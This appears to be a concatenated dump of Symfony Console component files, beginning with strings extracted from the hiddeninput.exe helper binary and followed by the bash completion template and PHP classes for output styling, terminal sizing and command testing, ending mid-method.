###)r)b)H)4))(((((()#$%%&d&&$('''''(((6('H(Z(t(('''''l'^'R'F'>'>(0'')GetConsoleModeSetConsoleMode;GetStdHandleKERNEL32.dll??$?6DU?$char_traits@D@std@@V?$allocator@D@1@@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@0@AAV10@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@@Z?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@AJ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A??$getline@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@YAAAV?$basic_istream@DU?$char_traits@D@std@@@0@AAV10@AAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@@Z??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z_??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ{??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ?endl@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@1@AAV21@@ZMSVCP90.dll_amsg_exit__getmainargs,_cexit|_exitf_XcptFilterexit__initenv_initterm_initterm_e<_configthreadlocale__setusermatherr _adjust_fdiv__p__commode__p__fmodej_encode_pointer__set_app_typeK_crt_debugger_hookC?terminate@@YAXXZMSVCR90.dll_unlock__dllonexitv_lock_onexit`_decode_pointers_except_handler4_common _invoke_watson?_controlfp_sInterlockedExchange!SleepInterlockedCompareExchange-TerminateProcessGetCurrentProcess>UnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentTQueryPerformanceCounterfGetTickCountGetCurrentThreadIdGetCurrentProcessIdOGetSystemTimeAsFileTimes__CxxFrameHandler3N@D$!@ 8Ph  @(CV(4VS_VERSION_INFOStringFileInfob040904b0QFileDescriptionReads from stdin without leaking info to the terminal and outputs back to stdout6 FileVersion1, 0, 0, 08 InternalNamehiddeninputPLegalCopyrightJordi Boggiano - 2012HOriginalFilenamehiddeninput.exe: ProductNameHidden Input: ProductVersion1, 0, 0, 0DVarFileInfo$Translation  PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING@00!0/080F0L0T0^0d0n0{000000000000001#1-1@1J1O1T1v1{1111111111111112"2*23292A2M2_2j2p222222222222 333%303N3T3Z3`3f3l3s3z333333333333333334444%4;4B444444444445!5^5c5555H6M6_6}66677 7*7w7|777778 88=8E8P8V8\8b8h8n8t8z88889 $0001 1t1x12 2@2\2`2h2t20 0# This file is part of the Symfony package. # # (c) Fabien Potencier # # For the full copyright and license information, please view # https://symfony.com/doc/current/contributing/code/license.html _sf_{{ COMMAND_NAME }}() { # Use newline as only separator to allow space in completion values local IFS=$'\n' local sf_cmd="${COMP_WORDS[0]}" # for an alias, get the real script behind it sf_cmd_type=$(type -t $sf_cmd) if [[ $sf_cmd_type == "alias" ]]; then sf_cmd=$(alias $sf_cmd | sed -E "s/alias $sf_cmd='(.*)'/\1/") elif [[ $sf_cmd_type == "file" ]]; then sf_cmd=$(type -p $sf_cmd) fi if [[ $sf_cmd_type != "function" && ! -x $sf_cmd ]]; then return 1 fi local cur prev words cword _get_comp_words_by_ref -n := cur prev words cword local completecmd=("$sf_cmd" "_complete" "--no-interaction" "-sbash" "-c$cword" "-S{{ VERSION }}") for w in ${words[@]}; do w=$(printf -- '%b' "$w") # remove quotes from typed values quote="${w:0:1}" if [ "$quote" == \' ]; then w="${w%\'}" w="${w#\'}" elif [ "$quote" == \" ]; then w="${w%\"}" w="${w#\"}" fi # empty values are ignored if [ ! -z "$w" ]; then completecmd+=("-i$w") fi done local sfcomplete if sfcomplete=$(${completecmd[@]} 2>&1); then local quote suggestions quote=${cur:0:1} # Use single quotes by default if suggestions contains backslash (FQCN) if [ "$quote" == '' ] && [[ "$sfcomplete" =~ \\ ]]; then quote=\' fi if [ "$quote" == \' ]; then # single quotes: no additional escaping (does not accept ' in values) suggestions=$(for s in $sfcomplete; do printf $'%q%q%q\n' "$quote" "$s" "$quote"; done) elif [ "$quote" == \" ]; then # double quotes: double escaping for \ $ ` " suggestions=$(for s in $sfcomplete; do s=${s//\\/\\\\} s=${s//\$/\\\$} s=${s//\`/\\\`} s=${s//\"/\\\"} printf $'%q%q%q\n' "$quote" "$s" "$quote"; done) else # no quotes: double escaping suggestions=$(for s in $sfcomplete; do printf $'%q\n' $(printf '%q' "$s"); done) fi COMPREPLY=($(IFS=$'\n' compgen -W "$suggestions" -- $(printf -- "%q" "$cur"))) __ltrim_colon_completions "$cur" else if [[ "$sfcomplete" != *"Command \"_complete\" is not defined."* ]]; then >&2 echo >&2 echo $sfcomplete fi return 1 fi } complete -F _sf_{{ COMMAND_NAME }} {{ COMMAND_NAME }} * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\SignalRegistry; final class SignalRegistry { private $signalHandlers = []; public function __construct() { if (\function_exists('pcntl_async_signals')) { pcntl_async_signals(true); } } public function register(int $signal, callable $signalHandler): void { if (!isset($this->signalHandlers[$signal])) { $previousCallback = pcntl_signal_get_handler($signal); if (\is_callable($previousCallback)) { $this->signalHandlers[$signal][] = $previousCallback; } } $this->signalHandlers[$signal][] = $signalHandler; pcntl_signal($signal, [$this, 'handle']); } public static function isSupported(): bool { if (!\function_exists('pcntl_signal')) { return false; } if (\in_array('pcntl_signal', explode(',', \ini_get('disable_functions')))) { return false; } return true; } /** * @internal */ public function handle(int $signal): void { $count = \count($this->signalHandlers[$signal]); foreach ($this->signalHandlers[$signal] as $i => $signalHandler) { $hasNext = $i !== $count - 1; $signalHandler($signal, $hasNext); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author Grégoire Pineau */ class SingleCommandApplication extends Command { private $version = 'UNKNOWN'; private $autoExit = true; private $running = false; /** * @return $this */ public function setVersion(string $version): self { $this->version = $version; return $this; } /** * @final * * @return $this */ public function setAutoExit(bool $autoExit): self { $this->autoExit = $autoExit; return $this; } public function run(?InputInterface $input = null, ?OutputInterface $output = null): int { if ($this->running) { return parent::run($input, $output); } // We use the command name as the application name $application = new Application($this->getName() ?: 'UNKNOWN', $this->version); $application->setAutoExit($this->autoExit); // Fix the usage of the command displayed with "--help" $this->setName($_SERVER['argv'][0]); $application->add($this); $application->setDefaultCommand($this->getName(), true); $this->running = true; try { $ret = $application->run($input, $output); } finally { $this->running = false; } return $ret ?? 1; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Decorates output to add console style guide helpers. * * @author Kevin Bond */ abstract class OutputStyle implements OutputInterface, StyleInterface { private $output; public function __construct(OutputInterface $output) { $this->output = $output; } /** * {@inheritdoc} */ public function newLine(int $count = 1) { $this->output->write(str_repeat(\PHP_EOL, $count)); } /** * @return ProgressBar */ public function createProgressBar(int $max = 0) { return new ProgressBar($this->output, $max); } /** * {@inheritdoc} */ public function write($messages, bool $newline = false, int $type = self::OUTPUT_NORMAL) { $this->output->write($messages, $newline, $type); } /** * {@inheritdoc} */ public function writeln($messages, int $type = self::OUTPUT_NORMAL) { $this->output->writeln($messages, $type); } /** * {@inheritdoc} */ public function setVerbosity(int $level) { $this->output->setVerbosity($level); } /** * {@inheritdoc} */ public function getVerbosity() { return $this->output->getVerbosity(); } /** * {@inheritdoc} */ public function setDecorated(bool $decorated) { $this->output->setDecorated($decorated); } /** * {@inheritdoc} */ public function isDecorated() { return $this->output->isDecorated(); } /** * {@inheritdoc} */ public function setFormatter(OutputFormatterInterface $formatter) { $this->output->setFormatter($formatter); } /** * {@inheritdoc} */ public function getFormatter() { return $this->output->getFormatter(); } /** * {@inheritdoc} */ public function isQuiet() { return $this->output->isQuiet(); } /** * {@inheritdoc} */ public function isVerbose() { return $this->output->isVerbose(); } /** * {@inheritdoc} */ public function isVeryVerbose() { return $this->output->isVeryVerbose(); } /** * {@inheritdoc} */ public function isDebug() { return $this->output->isDebug(); } protected function getErrorOutput() { if (!$this->output instanceof ConsoleOutputInterface) { return $this->output; } return $this->output->getErrorOutput(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; /** * Output style helpers. * * @author Kevin Bond */ interface StyleInterface { /** * Formats a command title. */ public function title(string $message); /** * Formats a section title. */ public function section(string $message); /** * Formats a list. */ public function listing(array $elements); /** * Formats informational text. * * @param string|array $message */ public function text($message); /** * Formats a success result bar. * * @param string|array $message */ public function success($message); /** * Formats an error result bar. * * @param string|array $message */ public function error($message); /** * Formats an warning result bar. * * @param string|array $message */ public function warning($message); /** * Formats a note admonition. * * @param string|array $message */ public function note($message); /** * Formats a caution admonition. * * @param string|array $message */ public function caution($message); /** * Formats a table. */ public function table(array $headers, array $rows); /** * Asks a question. * * @return mixed */ public function ask(string $question, ?string $default = null, ?callable $validator = null); /** * Asks a question with the user input hidden. * * @return mixed */ public function askHidden(string $question, ?callable $validator = null); /** * Asks for confirmation. * * @return bool */ public function confirm(string $question, bool $default = true); /** * Asks a choice question. * * @param string|int|null $default * * @return mixed */ public function choice(string $question, array $choices, $default = null); /** * Add newline(s). */ public function newLine(int $count = 1); /** * Starts the progress output. */ public function progressStart(int $max = 0); /** * Advances the progress output X steps. */ public function progressAdvance(int $step = 1); /** * Finishes the progress output. */ public function progressFinish(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Helper\SymfonyQuestionHelper; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Helper\TableCell; use Symfony\Component\Console\Helper\TableSeparator; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Output\TrimmedBufferOutput; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\ConfirmationQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Terminal; /** * Output decorator helpers for the Symfony Style Guide. * * @author Kevin Bond */ class SymfonyStyle extends OutputStyle { public const MAX_LINE_LENGTH = 120; private $input; private $output; private $questionHelper; private $progressBar; private $lineLength; private $bufferedOutput; public function __construct(InputInterface $input, OutputInterface $output) { $this->input = $input; $this->bufferedOutput = new TrimmedBufferOutput(\DIRECTORY_SEPARATOR === '\\' ? 4 : 2, $output->getVerbosity(), false, clone $output->getFormatter()); // Windows cmd wraps lines as soon as the terminal width is reached, whether there are following chars or not. $width = (new Terminal())->getWidth() ?: self::MAX_LINE_LENGTH; $this->lineLength = min($width - (int) (\DIRECTORY_SEPARATOR === '\\'), self::MAX_LINE_LENGTH); parent::__construct($this->output = $output); } /** * Formats a message as a block of text. * * @param string|array $messages The message to write in the block */ public function block($messages, ?string $type = null, ?string $style = null, string $prefix = ' ', bool $padding = false, bool $escape = true) { $messages = \is_array($messages) ? array_values($messages) : [$messages]; $this->autoPrependBlock(); $this->writeln($this->createBlock($messages, $type, $style, $prefix, $padding, $escape)); $this->newLine(); } /** * {@inheritdoc} */ public function title(string $message) { $this->autoPrependBlock(); $this->writeln([ sprintf('%s', OutputFormatter::escapeTrailingBackslash($message)), sprintf('%s', str_repeat('=', Helper::width(Helper::removeDecoration($this->getFormatter(), $message)))), ]); $this->newLine(); } /** * {@inheritdoc} */ public function section(string $message) { $this->autoPrependBlock(); $this->writeln([ sprintf('%s', OutputFormatter::escapeTrailingBackslash($message)), sprintf('%s', str_repeat('-', Helper::width(Helper::removeDecoration($this->getFormatter(), $message)))), ]); $this->newLine(); } /** * {@inheritdoc} */ public function listing(array $elements) { $this->autoPrependText(); $elements = array_map(function ($element) { return sprintf(' * %s', $element); }, $elements); $this->writeln($elements); $this->newLine(); } /** * {@inheritdoc} */ public function text($message) { $this->autoPrependText(); $messages = \is_array($message) ? array_values($message) : [$message]; foreach ($messages as $message) { $this->writeln(sprintf(' %s', $message)); } } /** * Formats a command comment. * * @param string|array $message */ public function comment($message) { $this->block($message, null, null, ' // ', false, false); } /** * {@inheritdoc} */ public function success($message) { $this->block($message, 'OK', 'fg=black;bg=green', ' ', true); } /** * {@inheritdoc} */ public function error($message) { $this->block($message, 'ERROR', 'fg=white;bg=red', ' ', true); } /** * {@inheritdoc} */ public function warning($message) { $this->block($message, 'WARNING', 'fg=black;bg=yellow', ' ', true); } /** * {@inheritdoc} */ public function note($message) { $this->block($message, 'NOTE', 'fg=yellow', ' ! '); } /** * Formats an info message. * * @param string|array $message */ public function info($message) { $this->block($message, 'INFO', 'fg=green', ' ', true); } /** * {@inheritdoc} */ public function caution($message) { $this->block($message, 'CAUTION', 'fg=white;bg=red', ' ! ', true); } /** * {@inheritdoc} */ public function table(array $headers, array $rows) { $this->createTable() ->setHeaders($headers) ->setRows($rows) ->render() ; $this->newLine(); } /** * Formats a horizontal table. */ public function horizontalTable(array $headers, array $rows) { $this->createTable() ->setHorizontal(true) ->setHeaders($headers) ->setRows($rows) ->render() ; $this->newLine(); } /** * Formats a list of key/value horizontally. * * Each row can be one of: * * 'A title' * * ['key' => 'value'] * * new TableSeparator() * * @param string|array|TableSeparator ...$list */ public function definitionList(...$list) { $headers = []; $row = []; foreach ($list as $value) { if ($value instanceof TableSeparator) { $headers[] = $value; $row[] = $value; continue; } if (\is_string($value)) { $headers[] = new TableCell($value, ['colspan' => 2]); $row[] = null; continue; } if (!\is_array($value)) { throw new InvalidArgumentException('Value should be an array, string, or an instance of TableSeparator.'); } $headers[] = key($value); $row[] = current($value); } $this->horizontalTable($headers, [$row]); } /** * {@inheritdoc} */ public function ask(string $question, ?string $default = null, ?callable $validator = null) { $question = new Question($question, $default); $question->setValidator($validator); return $this->askQuestion($question); } /** * {@inheritdoc} */ public function askHidden(string $question, ?callable $validator = null) { $question = new Question($question); $question->setHidden(true); $question->setValidator($validator); return $this->askQuestion($question); } /** * {@inheritdoc} */ public function confirm(string $question, bool $default = true) { return $this->askQuestion(new ConfirmationQuestion($question, $default)); } /** * {@inheritdoc} */ public function choice(string $question, array $choices, $default = null) { if (null !== $default) { $values = array_flip($choices); $default = $values[$default] ?? $default; } return $this->askQuestion(new ChoiceQuestion($question, $choices, $default)); } /** * {@inheritdoc} */ public function progressStart(int $max = 0) { $this->progressBar = $this->createProgressBar($max); $this->progressBar->start(); } /** * {@inheritdoc} */ public function progressAdvance(int $step = 1) { $this->getProgressBar()->advance($step); } /** * {@inheritdoc} */ public function progressFinish() { $this->getProgressBar()->finish(); $this->newLine(2); $this->progressBar = null; } /** * {@inheritdoc} */ public function createProgressBar(int $max = 0) { $progressBar = parent::createProgressBar($max); if ('\\' !== \DIRECTORY_SEPARATOR || 'Hyper' === getenv('TERM_PROGRAM')) { $progressBar->setEmptyBarCharacter('░'); // light shade character \u2591 $progressBar->setProgressCharacter(''); $progressBar->setBarCharacter('▓'); // dark shade character \u2593 } return $progressBar; } /** * @see ProgressBar::iterate() */ public function progressIterate(iterable $iterable, ?int $max = null): iterable { yield from $this->createProgressBar()->iterate($iterable, $max); $this->newLine(2); } /** * @return mixed */ public function askQuestion(Question $question) { if ($this->input->isInteractive()) { $this->autoPrependBlock(); } if (!$this->questionHelper) { $this->questionHelper = new SymfonyQuestionHelper(); } $answer = $this->questionHelper->ask($this->input, $this, $question); if ($this->input->isInteractive()) { $this->newLine(); $this->bufferedOutput->write("\n"); } return $answer; } /** * {@inheritdoc} */ public function writeln($messages, int $type = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } foreach ($messages as $message) { parent::writeln($message, $type); $this->writeBuffer($message, true, $type); } } /** * {@inheritdoc} */ public function write($messages, bool $newline = false, int $type = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } foreach ($messages as $message) { parent::write($message, $newline, $type); $this->writeBuffer($message, $newline, $type); } } /** * {@inheritdoc} */ public function newLine(int $count = 1) { parent::newLine($count); $this->bufferedOutput->write(str_repeat("\n", $count)); } /** * Returns a new instance which makes use of stderr if available. * * @return self */ public function getErrorStyle() { return new self($this->input, $this->getErrorOutput()); } public function createTable(): Table { $output = $this->output instanceof ConsoleOutputInterface ? $this->output->section() : $this->output; $style = clone Table::getStyleDefinition('symfony-style-guide'); $style->setCellHeaderFormat('%s'); return (new Table($output))->setStyle($style); } private function getProgressBar(): ProgressBar { if (!$this->progressBar) { throw new RuntimeException('The ProgressBar is not started.'); } return $this->progressBar; } private function autoPrependBlock(): void { $chars = substr(str_replace(\PHP_EOL, "\n", $this->bufferedOutput->fetch()), -2); if (!isset($chars[0])) { $this->newLine(); // empty history, so we should start with a new line. return; } // Prepend new line for each non LF chars (This means no blank line was output before) $this->newLine(2 - substr_count($chars, "\n")); } private function autoPrependText(): void { $fetched = $this->bufferedOutput->fetch(); // Prepend new line if last char isn't EOL: if (!str_ends_with($fetched, "\n")) { $this->newLine(); } } private function writeBuffer(string $message, bool $newLine, int $type): void { // We need to know if the last chars are PHP_EOL $this->bufferedOutput->write($message, $newLine, $type); } private function createBlock(iterable $messages, ?string $type = null, ?string $style = null, string $prefix = ' ', bool $padding = false, bool $escape = false): array { $indentLength = 0; $prefixLength = Helper::width(Helper::removeDecoration($this->getFormatter(), $prefix)); $lines = []; if (null !== $type) { $type = sprintf('[%s] ', $type); $indentLength = \strlen($type); $lineIndentation = str_repeat(' ', $indentLength); } // wrap and add newlines for each element foreach ($messages as $key => $message) { if ($escape) { $message = OutputFormatter::escape($message); } $decorationLength = Helper::width($message) - Helper::width(Helper::removeDecoration($this->getFormatter(), $message)); $messageLineLength = min($this->lineLength - $prefixLength - $indentLength + $decorationLength, $this->lineLength); $messageLines = explode(\PHP_EOL, wordwrap($message, $messageLineLength, \PHP_EOL, true)); foreach ($messageLines as $messageLine) { $lines[] = $messageLine; } if (\count($messages) > 1 && $key < \count($messages) - 1) { $lines[] = ''; } } $firstLineIndex = 0; if ($padding && $this->isDecorated()) { $firstLineIndex = 1; array_unshift($lines, ''); $lines[] = ''; } foreach ($lines as $i => &$line) { if (null !== $type) { $line = $firstLineIndex === $i ? $type.$line : $lineIndentation.$line; } $line = $prefix.$line; $line .= str_repeat(' ', max($this->lineLength - Helper::width(Helper::removeDecoration($this->getFormatter(), $line)), 0)); if ($style) { $line = sprintf('<%s>%s', $style, $line); } } return $lines; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; class Terminal { private static $width; private static $height; private static $stty; /** * Gets the terminal width. * * @return int */ public function getWidth() { $width = getenv('COLUMNS'); if (false !== $width) { return (int) trim($width); } if (null === self::$width) { self::initDimensions(); } return self::$width ?: 80; } /** * Gets the terminal height. * * @return int */ public function getHeight() { $height = getenv('LINES'); if (false !== $height) { return (int) trim($height); } if (null === self::$height) { self::initDimensions(); } return self::$height ?: 50; } /** * @internal */ public static function hasSttyAvailable(): bool { if (null !== self::$stty) { return self::$stty; } // skip check if shell_exec function is disabled if (!\function_exists('shell_exec')) { return false; } return self::$stty = (bool) shell_exec('stty 2> '.('\\' === \DIRECTORY_SEPARATOR ? 'NUL' : '/dev/null')); } private static function initDimensions() { if ('\\' === \DIRECTORY_SEPARATOR) { $ansicon = getenv('ANSICON'); if (false !== $ansicon && preg_match('/^(\d+)x(\d+)(?: \((\d+)x(\d+)\))?$/', trim($ansicon), $matches)) { // extract [w, H] from "wxh (WxH)" // or [w, h] from "wxh" self::$width = (int) $matches[1]; self::$height = isset($matches[4]) ? (int) $matches[4] : (int) $matches[2]; } elseif (!self::hasVt100Support() && self::hasSttyAvailable()) { // only use stty on Windows if the terminal does not support vt100 (e.g. Windows 7 + git-bash) // testing for stty in a Windows 10 vt100-enabled console will implicitly disable vt100 support on STDOUT self::initDimensionsUsingStty(); } elseif (null !== $dimensions = self::getConsoleMode()) { // extract [w, h] from "wxh" self::$width = (int) $dimensions[0]; self::$height = (int) $dimensions[1]; } } else { self::initDimensionsUsingStty(); } } /** * Returns whether STDOUT has vt100 support (some Windows 10+ configurations). */ private static function hasVt100Support(): bool { return \function_exists('sapi_windows_vt100_support') && sapi_windows_vt100_support(fopen('php://stdout', 'w')); } /** * Initializes dimensions using the output of an stty columns line. */ private static function initDimensionsUsingStty() { if ($sttyString = self::getSttyColumns()) { if (preg_match('/rows.(\d+);.columns.(\d+);/i', $sttyString, $matches)) { // extract [w, h] from "rows h; columns w;" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } elseif (preg_match('/;.(\d+).rows;.(\d+).columns/i', $sttyString, $matches)) { // extract [w, h] from "; h rows; w columns" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } } } /** * Runs and parses mode CON if it's available, suppressing any error output. * * @return int[]|null An array composed of the width and the height or null if it could not be parsed */ private static function getConsoleMode(): ?array { $info = self::readFromProcess('mode CON'); if (null === $info || !preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { return null; } return [(int) $matches[2], (int) $matches[1]]; } /** * Runs and parses stty -a if it's available, suppressing any error output. */ private static function getSttyColumns(): ?string { return self::readFromProcess('stty -a | grep columns'); } private static function readFromProcess(string $command): ?string { if (!\function_exists('proc_open')) { return null; } $descriptorspec = [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $cp = \function_exists('sapi_windows_cp_set') ? sapi_windows_cp_get() : 0; if (!$process = @proc_open($command, $descriptorspec, $pipes, null, null, ['suppress_errors' => true])) { return null; } $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($cp) { sapi_windows_cp_set($cp); } return $info; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Application; use Symfony\Component\Console\Input\ArrayInput; /** * Eases the testing of console applications. * * When testing an application, don't forget to disable the auto exit flag: * * $application = new Application(); * $application->setAutoExit(false); * * @author Fabien Potencier */ class ApplicationTester { use TesterTrait; private $application; public function __construct(Application $application) { $this->application = $application; } /** * Executes the application. * * Available options: * * * interactive: Sets the input interactive flag * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available * * @return int The command exit code */ public function run(array $input, array $options = []) { $prevShellVerbosity = getenv('SHELL_VERBOSITY'); try { $this->input = new ArrayInput($input); if (isset($options['interactive'])) { $this->input->setInteractive($options['interactive']); } if ($this->inputs) { $this->input->setStream(self::createStream($this->inputs)); } $this->initOutput($options); return $this->statusCode = $this->application->run($this->input, $this->output); } finally { // SHELL_VERBOSITY is set by Application::configureIO so we need to unset/reset it // to its previous value to avoid one test's verbosity to spread to the following tests if (false === $prevShellVerbosity) { if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY'); } unset($_ENV['SHELL_VERBOSITY']); unset($_SERVER['SHELL_VERBOSITY']); } else { if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY='.$prevShellVerbosity); } $_ENV['SHELL_VERBOSITY'] = $prevShellVerbosity; $_SERVER['SHELL_VERBOSITY'] = $prevShellVerbosity; } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; /** * Eases the testing of command completion. * * @author Jérôme Tamarelle */ class CommandCompletionTester { private $command; public function __construct(Command $command) { $this->command = $command; } /** * Create completion suggestions from input tokens. */ public function complete(array $input): array { $currentIndex = \count($input); if ('' === end($input)) { array_pop($input); } array_unshift($input, $this->command->getName()); $completionInput = CompletionInput::fromTokens($input, $currentIndex); $completionInput->bind($this->command->getDefinition()); $suggestions = new CompletionSuggestions(); $this->command->complete($completionInput, $suggestions); $options = []; foreach ($suggestions->getOptionSuggestions() as $option) { $options[] = '--'.$option->getName(); } return array_map('strval', array_merge($options, $suggestions->getValueSuggestions())); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\ArrayInput; /** * Eases the testing of console commands. * * @author Fabien Potencier * @author Robin Chalas */ class CommandTester { use TesterTrait; private $command; public function __construct(Command $command) { $this->command = $command; } /** * Executes the command. * * Available execution options: * * * interactive: Sets the input interactive flag * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available * * @param array $input An array of command arguments and options * @param array $options An array of execution options * * @return int The command exit code */ public function execute(array $input, array $options = []) { // set the command name automatically if the application requires // this argument and no command name was passed if (!isset($input['command']) && (null !== $application = $this->command->getApplication()) && $application->getDefinition()->hasArgument('command') ) { $input = array_merge(['command' => $this->command->getName()], $input); } $this->input = new ArrayInput($input); // Use an in-memory input stream even if no inputs are set so that QuestionHelper::ask() does not rely on the blocking STDIN. $this->input->setStream(self::createStream($this->inputs)); if (isset($options['interactive'])) { $this->input->setInteractive($options['interactive']); } if (!isset($options['decorated'])) { $options['decorated'] = false; } $this->initOutput($options); return $this->statusCode = $this->command->run($this->input, $this->output); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Console\Command\Command; final class CommandIsSuccessful extends Constraint { /** * {@inheritdoc} */ public function toString(): string { return 'is successful'; } /** * {@inheritdoc} */ protected function matches($other): bool { return Command::SUCCESS === $other; } /** * {@inheritdoc} */ protected function failureDescription($other): string { return 'the command '.$this->toString(); } /** * {@inheritdoc} */ protected function additionalFailureDescription($other): string { $mapping = [ Command::FAILURE => 'Command failed.', Command::INVALID => 'Command was invalid.', ]; return $mapping[$other] ?? sprintf('Command returned exit status %d.', $other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use PHPUnit\Framework\Assert; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\ConsoleOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Output\StreamOutput; use Symfony\Component\Console\Tester\Constraint\CommandIsSuccessful; /** * @author Amrouche Hamza */ trait TesterTrait { /** @var StreamOutput */ private $output; private $inputs = []; private $captureStreamsIndependently = false; /** @var InputInterface */ private $input; /** @var int */ private $statusCode; /** * Gets the display returned by the last execution of the command or application. * * @return string * * @throws \RuntimeException If it's called before the execute method */ public function getDisplay(bool $normalize = false) { if (null === $this->output) { throw new \RuntimeException('Output not initialized, did you execute the command before requesting the display?'); } rewind($this->output->getStream()); $display = stream_get_contents($this->output->getStream()); if ($normalize) { $display = str_replace(\PHP_EOL, "\n", $display); } return $display; } /** * Gets the output written to STDERR by the application. * * @param bool $normalize Whether to normalize end of lines to \n or not * * @return string */ public function getErrorOutput(bool $normalize = false) { if (!$this->captureStreamsIndependently) { throw new \LogicException('The error output is not available when the tester is run without "capture_stderr_separately" option set.'); } rewind($this->output->getErrorOutput()->getStream()); $display = stream_get_contents($this->output->getErrorOutput()->getStream()); if ($normalize) { $display = str_replace(\PHP_EOL, "\n", $display); } return $display; } /** * Gets the input instance used by the last execution of the command or application. * * @return InputInterface */ public function getInput() { return $this->input; } /** * Gets the output instance used by the last execution of the command or application. * * @return OutputInterface */ public function getOutput() { return $this->output; } /** * Gets the status code returned by the last execution of the command or application. * * @return int * * @throws \RuntimeException If it's called before the execute method */ public function getStatusCode() { if (null === $this->statusCode) { throw new \RuntimeException('Status code not initialized, did you execute the command before requesting the status code?'); } return $this->statusCode; } public function assertCommandIsSuccessful(string $message = ''): void { Assert::assertThat($this->statusCode, new CommandIsSuccessful(), $message); } /** * Sets the user inputs. * * @param array $inputs An array of strings representing each input * passed to the command input stream * * @return $this */ public function setInputs(array $inputs) { $this->inputs = $inputs; return $this; } /** * Initializes the output property. * * Available options: * * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available */ private function initOutput(array $options) { $this->captureStreamsIndependently = \array_key_exists('capture_stderr_separately', $options) && $options['capture_stderr_separately']; if (!$this->captureStreamsIndependently) { $this->output = new StreamOutput(fopen('php://memory', 'w', false)); if (isset($options['decorated'])) { $this->output->setDecorated($options['decorated']); } if (isset($options['verbosity'])) { $this->output->setVerbosity($options['verbosity']); } } else { $this->output = new ConsoleOutput( $options['verbosity'] ?? ConsoleOutput::VERBOSITY_NORMAL, $options['decorated'] ?? null ); 